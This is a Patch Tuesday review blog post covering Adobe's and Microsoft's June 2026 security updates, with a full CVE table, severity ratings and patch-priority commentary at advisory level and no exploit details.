There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The June 2026 Security Update Review

Sat, 25 Jul 2026 19:02:53 +0200

I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-66	Adobe Campaign Classic	2	Critical	10.0	No	1
APSB26-64	Adobe ColdFusion	7	Critical	9.6	No	1
APSB26-63	Adobe Acrobat Reader	20	Critical	7.8	No	2
APSB26-57	Adobe Experience Manager Forms	3	Critical	9.3	No	2
APSB26-62	Adobe Dreamweaver	5	Critical	8.6	No	3
APSB26-65	Adobe Format Plugins	2	Critical	7.8	No	3
APSB26-59	Adobe InCopy	3	Critical	7.8	No	3
APSB26-58	Adobe InDesign	12	Critical	7.8	No	3
APSB26-60	Adobe Substance 3D Sampler	4	Critical	7.8	No	3
APSB26-61	Content Credentials SDK	8	Critical	7.5	No	3
APSB26-56	Adobe Experience Manager	57	Important	5.4	No	3
TOTAL	11 bulletins	123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

- CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

- CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

- CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

- CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

- CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

Here’s the full list of CVEs released by Microsoft for June 2026:

CVE	Title	Severity	CVSS	Public	Exploited	XI	Type
CVE-2026-41091	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	Yes	0	EoP
CVE-2026-49160	HTTP.sys Denial of Service Vulnerability	Important	7.5	Yes	No	1	DoS
CVE-2026-50507	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.8	Yes	No	1	SFB
CVE-2026-45586	Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability	Important	7.8	Yes	No	1	EoP
CVE-2025-10263 *	ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel]	Critical	9.3	No	No	2	EoP
CVE-2026-48567	Azure HorizonDB Elevation of Privilege Vulnerability	Critical	10	No	No	N/A	EoP
CVE-2026-32193	Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-47644	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	6.5	No	No	2	Info
CVE-2026-44815	DHCP Client Service Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47291	HTTP.sys Remote Code Execution Vulnerability	Critical	9.8	No	No	1	RCE
CVE-2026-42824	M365 Copilot Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45476	Microsoft Azure Network Adapter Elevation of Privilege Vulnerability	Critical	8.2	No	No	2	EoP
CVE-2026-44810	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Critical	8.4	No	No	2	EoP
CVE-2026-48579	Microsoft Exchange Online Information Disclosure Vulnerability	Critical	9.1	No	No	N/A	Info
CVE-2026-47655	Microsoft Graph Information Disclosure Vulnerability	Critical	6.5	No	No	N/A	Info
CVE-2026-45497	Microsoft M365 Copilot Remote Code Execution Vulnerability	Critical	7.7	No	No	N/A	RCE
CVE-2026-45460	Microsoft Office Information Disclosure Vulnerability	Critical	4.7	No	No	3	Info
CVE-2026-45472	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45474	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45461	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45463	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45456	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45458	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47635	Microsoft Outlook and Word Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-26142	Nuance PowerScribe Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-47289	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	2	RCE
CVE-2026-47654	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	3	RCE
CVE-2026-48563	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42992	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44799	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-44801	Remote Desktop Client Remote Code Execution Vulnerability	Critical	7.5	No	No	2	RCE
CVE-2026-42985	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	1	RCE
CVE-2026-45648	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.8	No	No	3	RCE
CVE-2026-42987	Windows Deployment Services (WDS) Remote Code Execution	Critical	8.1	No	No	2	RCE
CVE-2026-33828	Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability	Critical	7.8	No	No	3	EoP
CVE-2026-44803	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-44812	Windows Graphics Component Remote Code Execution Vulnerability	Critical	7.8	No	No	1	RCE
CVE-2026-45607	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-45641	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.4	No	No	2	RCE
CVE-2026-47652	Windows Hyper-V Remote Code Execution Vulnerability	Critical	8.2	No	No	2	RCE
CVE-2026-47288	Windows Kerberos Key Distribution Center (KDC) Remote Code Execution	Critical	7.1	No	No	3	RCE
CVE-2026-45657	Windows Kernel Remote Code Execution Vulnerability	Critical	9.8	No	No	2	RCE
CVE-2026-48574	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	2	RCE
CVE-2026-45490	.NET SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45491	.NET Tampering Vulnerability	Important	6.2	No	No	3	Tampering
CVE-2026-45591	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	2	DoS
CVE-2026-47643	Azure Stack Edge Remote Code Execution Vulnerability	Important	9.8	No	No	3	RCE
CVE-2026-41098	Azure Stack Edge Spoofing Vulnerability	Important	8.4	No	No	2	Spoofing
CVE-2026-45642	Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability	Important	3.9	No	No	2	Spoofing
CVE-2026-45650	Microsoft Bing Search Spoofing Vulnerability	Important	4.3	No	No	2	Spoofing
CVE-2026-45637	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45647	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	2	EoP
CVE-2026-40371	Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-44822	Microsoft Excel Information Disclosure Vulnerability	Important	8.2	No	No	3	Info
CVE-2026-45455	Microsoft Excel Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-45469	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44817	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	3	RCE
CVE-2026-44818	Microsoft Excel Remote Code Execution Vulnerability	Important	7	No	No	2	RCE
CVE-2026-44820	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44823	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45459	Microsoft Excel Security Feature Bypass Vulnerability	Important	3.3	No	No	2	SFB
CVE-2026-45504	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	8.8	No	No	3	EoP
CVE-2026-45502	Microsoft Exchange Server Information Disclosure Vulnerability	Important	5	No	No	3	Info
CVE-2026-45503	Microsoft Exchange Server Information Disclosure Vulnerability	Important	8.1	No	No	3	Info
CVE-2026-45583	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45500	Microsoft Exchange Server Spoofing Vulnerability	Important	6.1	No	No	2	Spoofing
CVE-2026-45501	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	2	Spoofing
CVE-2026-47631	Microsoft Exchange Server Spoofing Vulnerability	Important	8.1	No	No	2	Spoofing
CVE-2026-42986	Microsoft Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-41092	Microsoft Kinect Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45644	Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability	Important	8	No	No	2	EoP
CVE-2026-47293	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45485	Microsoft Office Information Disclosure Vulnerability	Important	3.3	No	No	2	Info
CVE-2026-44821	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45483	Microsoft Office Project Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45475	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44819	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-44824	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45645	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-49161	Microsoft PC Manager Security Feature Bypass Vulnerability	Important	7.8	No	No	3	SFB
CVE-2026-42902	Microsoft PowerToys Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45484	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	2	EoP
CVE-2026-45454	Microsoft SharePoint Remote Code Execution Vulnerability	Important	6.5	No	No	2	RCE
CVE-2026-47298	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	2	RCE
CVE-2026-45467	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45468	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45479	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45453	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47636	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47637	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47638	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-47639	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	3	Spoofing
CVE-2026-47641	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-33113	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45462	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-45464	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-45465	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-47634	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-47640	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	3	Spoofing
CVE-2026-45481	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	1	Spoofing
CVE-2026-48560	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	2	Spoofing
CVE-2026-48562	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	2	Spoofing
CVE-2026-42835	Microsoft Teams for Android Information Disclosure Vulnerability	Important	8.1	No	No	2	Info
CVE-2026-45606	Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability	Important	5.5	No	No	2	DoS
CVE-2026-45482	Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability	Important	8.4	No	No	2	SFB
CVE-2026-45466	Microsoft Word Information Disclosure Vulnerability	Important	3.3	No	No	3	Info
CVE-2026-45471	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45486	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45643	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-45457	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-42980	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-42916	NT OS Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45649	Office for Android Spoofing Vulnerability	Important	7.1	No	No	3	Spoofing
CVE-2026-47653	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	3	RCE
CVE-2026-42909	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42913	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	3	RCE
CVE-2026-42993	Remote Desktop Client Remote Code Execution Vulnerability	Important	7.5	No	No	2	RCE
CVE-2026-45588	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48568	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48570	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48573	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48575	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48576	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-48578	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45654	Secure Boot Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-45656	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-8863	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-40376	Visual Studio Code Elevation of Privilege Vulnerability	Important	7.5	No	No	2	EoP
CVE-2026-47281	Visual Studio Code Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-47284	Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47292	Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-48569	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	2	SFB
CVE-2026-47287	Visual Studio Code Tampering Vulnerability	Important	6.5	No	No	2	Tampering
CVE-2026-42829	Windows Administrator Protection Secure Feature Bypass Vulnerability	Important	7.8	No	No	2	SFB
CVE-2026-34335	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45601	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45598	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45596	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45638	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45603	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42911	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45594	Windows Application Identity (AppID) Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45655	Windows BitLocker Security Feature Bypass Vulnerability	Important	5.3	No	No	2	SFB
CVE-2026-45658	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.8	No	No	1	SFB
CVE-2026-45640	Windows Bluetooth Port Driver Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45605	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-47656	Windows Boot Manager Security Feature Bypass Vulnerability	Important	7.9	No	No	2	SFB
CVE-2026-44809	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45634	Windows DHCP Client Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-45608	Windows DHCP Client Information Disclosure Vulnerability	Important	6.8	No	No	3	Info
CVE-2026-41108	Windows DNS Client Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42905	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP
CVE-2026-44811	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44808	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44807	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42983	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44802	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44813	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44804	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-48566	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-44814	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45602	Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability	Important	9.1	No	No	2	Tampering
CVE-2026-42836	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-42910	Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42972	Windows Hyper-V Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45592	Windows Internet (wininet.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42903	Windows Kerberos Denial of Service Vulnerability	Important	6.5	No	No	3	DoS
CVE-2026-42914	Windows Kerberos Denial of Service Vulnerability	Important	5.3	No	No	2	DoS
CVE-2026-48583	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-45653	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42984	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45600	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45604	Windows Managed Installer Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-45595	Windows Mark of the Web Security Feature Bypass Vulnerability	Important	5.4	No	No	2	SFB
CVE-2026-45636	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	2	RCE
CVE-2026-50508	Windows NTLM Spoofing Vulnerability	Important	6.5	No	No	1	Spoofing
CVE-2026-48565	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-44805	Windows Network Controller (NC) Host Agent Denial of Service Vulnerability	Important	5.5	No	No	3	DoS
CVE-2026-42981	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-42974	Windows Performance Monitor Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45487	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42828	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42837	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42969	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	3	Info
CVE-2026-42971	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42970	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42973	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42978	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42977	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42979	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-42991	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	3	EoP
CVE-2026-45639	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-42908	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	7.5	No	No	2	Info
CVE-2026-45593	Windows SDK Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42906	Windows Shell Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42907	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	2	Info
CVE-2026-47648	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-42915	Windows TCP/IP Denial of Service Vulnerability	Important	5.7	No	No	2	DoS
CVE-2026-42904	Windows TCP/IP Elevation of Privilege Vulnerability	Important	9.6	No	No	3	EoP
CVE-2026-42968	Windows Telephony Server Information Disclosure Vulnerability	Important	5.5	No	No	2	Info
CVE-2026-42912	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	2	EoP
CVE-2026-45597	Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability	Important	7	No	No	3	EoP
CVE-2026-45599	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-45635	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	8.1	No	No	2	RCE
CVE-2026-40409	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-40404	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	2	EoP
CVE-2026-42989	Winlogon Elevation of Privilege Vulnerability	Important	7.8	No	No	1	EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

